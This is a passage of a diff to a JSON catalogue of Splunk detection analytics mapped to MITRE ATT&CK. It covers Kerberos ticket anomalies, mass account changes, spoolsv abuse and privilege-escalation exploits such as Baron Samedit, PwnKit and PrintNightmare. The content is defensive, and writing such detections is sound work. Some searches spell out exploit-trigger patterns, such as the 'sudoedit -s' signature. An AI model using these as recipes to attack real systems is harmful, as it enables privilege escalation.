"Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Unusual Number of Computer Service Tickets Requested", - "description": "The following analytic identifies an unusual number of computer service ticket requests from a single source, leveraging Event ID 4769, \"A Kerberos service ticket was requested.\" It uses statistical analysis, including standard deviation and the 3-sigma rule, to detect anomalies in service ticket requests. This activity is significant as it may indicate malicious behavior such as lateral movement, malware staging, or reconnaissance. If confirmed malicious, an attacker could gain unauthorized access to multiple endpoints, facilitating further compromise and potential data exfiltration.", - "search": " `wineventlog_security` EventCode=4769 Service_Name=\"*$\" Account_Name!=\"*$*\" | bucket span=2m _time | stats dc(Service_Name) AS unique_targets values(Service_Name) as host_targets by _time, Client_Address, Account_Name | eventstats avg(unique_targets) as comp_avg , stdev(unique_targets) as comp_std by Client_Address, Account_Name | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_targets >10 and unique_targets >= upperBound, 1, 0) | `unusual_number_of_computer_service_tickets_requested_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Client_Address", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Unusual Number of Remote Endpoint Authentication Events", - "description": "The following analytic identifies an unusual number of remote authentication attempts from a single source by leveraging Windows Event ID 4624, which logs successful account logons. It uses statistical analysis, specifically the 3-sigma rule, to detect deviations from normal behavior. This activity is significant for a SOC as it may indicate lateral movement, malware staging, or reconnaissance. If confirmed malicious, this behavior could allow an attacker to move laterally within the network, escalate privileges, or gather information for further attacks.", - "search": " `wineventlog_security` EventCode=4624 Logon_Type=3 Account_Name!=\"*$\" | eval Source_Account = mvindex(Account_Name, 1) | bucket span=2m _time | stats dc(ComputerName) AS unique_targets values(ComputerName) as target_hosts by _time, Source_Network_Address, Source_Account | eventstats avg(unique_targets) as comp_avg , stdev(unique_targets) as comp_std by Source_Network_Address, Source_Account | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_targets >10 and unique_targets >= upperBound, 1, 0) | `unusual_number_of_remote_endpoint_authentication_events_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "target_hosts", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of remote authentication events from $Source_Network_Address$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Large Number of Computer Service Tickets Requested", - "description": "The following analytic detects a high volume of Kerberos service ticket requests, specifically more than 30, from a single source within a 5-minute window. It leverages Event ID 4769, which logs when a Kerberos service ticket is requested, focusing on requests with computer names as the Service Name. This behavior is significant as it may indicate malicious activities such as lateral movement, malware staging, or reconnaissance. If confirmed malicious, an attacker could gain unauthorized access to multiple endpoints, potentially compromising the entire network.", - "search": " `wineventlog_security` EventCode=4769 ServiceName=\"*$\" TargetUserName!=\"*$\" | bucket span=5m _time | stats dc(ServiceName) AS unique_targets values(ServiceName) as host_targets by _time, IpAddress, TargetUserName | where unique_targets > 30 | `windows_large_number_of_computer_service_tickets_requested_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A large number of kerberos computer service tickets were requested by $IpAddress$ within 5 minutes.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1135", - "mitre_attack_technique": "Network Share Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT32", - "APT38", - "APT39", - "APT41", - "Chimera", - "DarkVishnya", - "Dragonfly", - "FIN13", - "Sowbug", - "Tonto Team", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Multiple Account Passwords Changed", - "description": "The following analytic detects instances where more than five unique Windows account passwords are changed within a 10-minute interval. It leverages Event Code 4724 from the Windows Security Event Log, using the wineventlog_security dataset to monitor and count distinct TargetUserName values. This behavior is significant as rapid password changes across multiple accounts are unusual and may indicate unauthorized access or internal compromise. If confirmed malicious, this activity could lead to widespread account compromise, unauthorized access to sensitive information, and potential disruption of services.", - "search": " `wineventlog_security` EventCode=4724 status=success | bucket span=10m _time | stats count dc(user) as unique_users values(user) as user by EventCode signature _time src_user SubjectDomainName TargetDomainName Logon_ID | where unique_users > 5 | `windows_multiple_account_passwords_changed_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ changed the passwords of multiple accounts in a short period of time.", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Multiple Accounts Deleted", - "description": "The following analytic detects the deletion of more than five unique Windows accounts within a 10-minute period, using Event Code 4726 from the Windows Security Event Log. It leverages the `wineventlog_security` dataset, segmenting data into 10-minute intervals to identify suspicious account deletions. This activity is significant as it may indicate an attacker attempting to erase traces of their actions. If confirmed malicious, this could lead to unauthorized access removal, hindering incident response and forensic investigations.", - "search": " `wineventlog_security` EventCode=4726 status=success | bucket span=10m _time | stats count dc(user) as unique_users values(user) as user by EventCode signature _time src_user SubjectDomainName TargetDomainName Logon_ID | where unique_users > 5 | `windows_multiple_accounts_deleted_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ deleted multiple accounts in a short period of time.", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Multiple Accounts Disabled", - "description": "The following analytic identifies instances where more than five unique Windows accounts are disabled within a 10-minute window, as indicated by Event Code 4725 in the Windows Security Event Log. It leverages the wineventlog_security dataset, grouping data into 10-minute segments and tracking the count and distinct count of TargetUserName. This behavior is significant as it may indicate internal policy breaches or an external attacker's attempt to disrupt operations. If confirmed malicious, this activity could lead to widespread account lockouts, hindering user access and potentially disrupting business operations.", - "search": " `wineventlog_security` EventCode=4725 status=success | bucket span=10m _time | stats count dc(user) as unique_users values(user) as user by EventCode signature _time src_user SubjectDomainName TargetDomainName Logon_ID | where unique_users > 5 | `windows_multiple_accounts_disabled_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ disabled multiple accounts in a short period of time.", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -562390,1404 +374193,7 @@ "Event ID": null, "Event Name": "Application Logs" } - ], - { - "name": "Child Processes of Spoolsv exe", - "description": "The following analytic identifies child processes spawned by spoolsv.exe, the Print Spooler service in Windows, which typically runs with SYSTEM privileges. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. Monitoring this activity is crucial as it can indicate exploitation attempts, such as those associated with CVE-2018-8440, which can lead to privilege escalation. If confirmed malicious, attackers could gain SYSTEM-level access, allowing them to execute arbitrary code, escalate privileges, and potentially compromise the entire system.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=spoolsv.exe AND Processes.process_name!=regsvr32.exe by Processes.dest Processes.parent_process Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `child_processes_of_spoolsv_exe_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Detect Baron Samedit CVE-2021-3156", - "description": "The following analytic detects attempts to exploit the Baron Samedit vulnerability (CVE-2021-3156) by identifying the use of the \"sudoedit -s \\\\\" command. This detection leverages logs from Linux systems, specifically searching for instances of the sudoedit command with the \"-s\" flag followed by a double quote. This activity is significant because it indicates an attempt to exploit a known vulnerability that allows attackers to gain root privileges. If confirmed malicious, this could lead to complete system compromise, unauthorized access to sensitive data, and potential data breaches.", - "search": "`linux_hosts` \"sudoedit -s \\\\\" | `detect_baron_samedit_cve_2021_3156_filter`", - "tags": { - "analytic_story": [ - "Baron Samedit CVE-2021-3156" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Detect Baron Samedit CVE-2021-3156 Segfault", - "description": "The following analytic identifies a heap-based buffer overflow in sudoedit by detecting Linux logs containing both \"sudoedit\" and \"segfault\" terms. This detection leverages Splunk to monitor for more than five occurrences of these terms on a single host within a specified timeframe. This activity is significant because exploiting this vulnerability (CVE-2021-3156) can allow attackers to gain root privileges, leading to potential system compromise, unauthorized access, and data breaches. If confirmed malicious, this could result in elevated privileges and full control over the affected system, posing a severe security risk.", - "search": "`linux_hosts` TERM(sudoedit) TERM(segfault) | stats count min(_time) as firstTime max(_time) as lastTime by host | where count > 5 | `detect_baron_samedit_cve_2021_3156_segfault_filter`", - "tags": { - "analytic_story": [ - "Baron Samedit CVE-2021-3156" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Detect Baron Samedit CVE-2021-3156 via OSQuery", - "description": "The following analytic detects the execution of the \"sudoedit -s *\" command, which is associated with the Baron Samedit CVE-2021-3156 heap-based buffer overflow vulnerability. This detection leverages the `osquery_process` data source to identify instances where this specific command is run. This activity is significant because it indicates an attempt to exploit a known vulnerability that allows privilege escalation. If confirmed malicious, an attacker could gain full control of the system, execute arbitrary code, or access sensitive data, leading to potential data breaches and system disruptions.", - "search": "`osquery_process` | search \"columns.cmdline\"=\"sudoedit -s \\\\*\" | `detect_baron_samedit_cve_2021_3156_via_osquery_filter`", - "tags": { - "analytic_story": [ - "Baron Samedit CVE-2021-3156" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "First Time Seen Child Process of Zoom", - "description": "The following analytic identifies the first-time execution of child processes spawned by Zoom (zoom.exe or zoom.us). It leverages Endpoint Detection and Response (EDR) data, specifically monitoring process creation events and comparing them against previously seen child processes. This activity is significant because the execution of unfamiliar child processes by Zoom could indicate malicious exploitation or misuse of the application. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the endpoint.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime values(Processes.parent_process_name) as parent_process_name values(Processes.parent_process_id) as parent_process_id values(Processes.process_name) as process_name values(Processes.process) as process from datamodel=Endpoint.Processes where (Processes.parent_process_name=zoom.exe OR Processes.parent_process_name=zoom.us) by Processes.process_id Processes.dest | `drop_dm_object_name(Processes)` | lookup zoom_first_time_child_process dest as dest process_name as process_name OUTPUT firstTimeSeen | where isnull(firstTimeSeen) OR firstTimeSeen > relative_time(now(), \"`previously_seen_zoom_child_processes_window`\") | `security_content_ctime(firstTime)` | table firstTime dest, process_id, process_name, parent_process_id, parent_process_name |`first_time_seen_child_process_of_zoom_filter`", - "tags": { - "analytic_story": [ - "Suspicious Zoom Child Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker", - "Child Process" - ] - } - ], - "message": "Child process $process_name$ with $process_id$ spawned by zoom.exe or zoom.us which has not been previously on host $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Linux pkexec Privilege Escalation", - "description": "The following analytic detects the execution of `pkexec` without any command-line arguments. This behavior leverages data from Endpoint Detection and Response (EDR) agents, focusing on process telemetry. The significance lies in the fact that this pattern is associated with the exploitation of CVE-2021-4034 (PwnKit), a critical vulnerability in Polkit's pkexec component. If confirmed malicious, this activity could allow an attacker to gain full root privileges on the affected Linux system, leading to complete system compromise and potential unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=pkexec by _time Processes.dest Processes.user Processes.process_id Processes.parent_process_name Processes.process_name Processes.process Processes.process_path | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(^.{1}$)\" | `linux_pkexec_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ related to a local privilege escalation in polkit pkexec.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Spoolsv Suspicious Process Access", - "description": "The following analytic detects suspicious process access by spoolsv.exe, potentially indicating exploitation of the PrintNightmare vulnerability (CVE-2021-34527). It leverages Sysmon EventCode 10 to identify when spoolsv.exe accesses critical system files or processes like rundll32.exe with elevated privileges. This activity is significant as it may signal an attempt to gain unauthorized privilege escalation on a vulnerable machine. If confirmed malicious, an attacker could achieve elevated privileges, leading to further system compromise, persistent access, or unauthorized control over the affected environment.", - "search": "`sysmon` EventCode=10 SourceImage = \"*\\\\spoolsv.exe\" CallTrace = \"*\\\\Windows\\\\system32\\\\spool\\\\DRIVERS\\\\x64\\\\*\" TargetImage IN (\"*\\\\rundll32.exe\", \"*\\\\spoolsv.exe\") GrantedAccess = 0x1fffff | stats count min(_time) as firstTime max(_time) as lastTime by dest SourceImage TargetImage GrantedAccess CallTrace EventCode ProcessID| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spoolsv_suspicious_process_access_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "ProcessID", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "TargetImage", - "type": "Process Name", - "role": [ - "Target" - ] - } - ], - "message": "$SourceImage$ was GrantedAccess open access to $TargetImage$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Driver Inventory", - "description": "The following analytic identifies drivers being loaded across the fleet. It leverages a PowerShell script input deployed to critical systems to capture driver data. This detection is significant as it helps monitor for unauthorized or malicious drivers that could compromise system integrity. If confirmed malicious, such drivers could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": "`driverinventory` | stats values(Path) min(_time) as firstTime max(_time) as lastTime count by host DriverType | rename host as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_driver_inventory_filter`", - "tags": { - "analytic_story": [ - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Drivers have been identified on $dest$.", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Driver Load Non-Standard Path", - "description": "The following analytic detects the loading of new Kernel Mode Drivers from non-standard paths using Windows EventCode 7045. It identifies drivers not located in typical directories like Windows, Program Files, or SystemRoot. This activity is significant because adversaries may use these non-standard paths to load malicious or vulnerable drivers, potentially bypassing security controls. If confirmed malicious, this could allow attackers to execute code at the kernel level, escalate privileges, or maintain persistence within the environment, posing a severe threat to system integrity and security.", - "search": "`wineventlog_system` EventCode=7045 ServiceType=\"kernel mode driver\" NOT (ImagePath IN (\"*\\\\Windows\\\\*\", \"*\\\\Program File*\", \"*\\\\systemroot\\\\*\",\"%SystemRoot%*\", \"system32\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ImagePath ServiceName ServiceType | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_driver_load_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "BlackByte Ransomware", - "CISA AA22-320A", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], 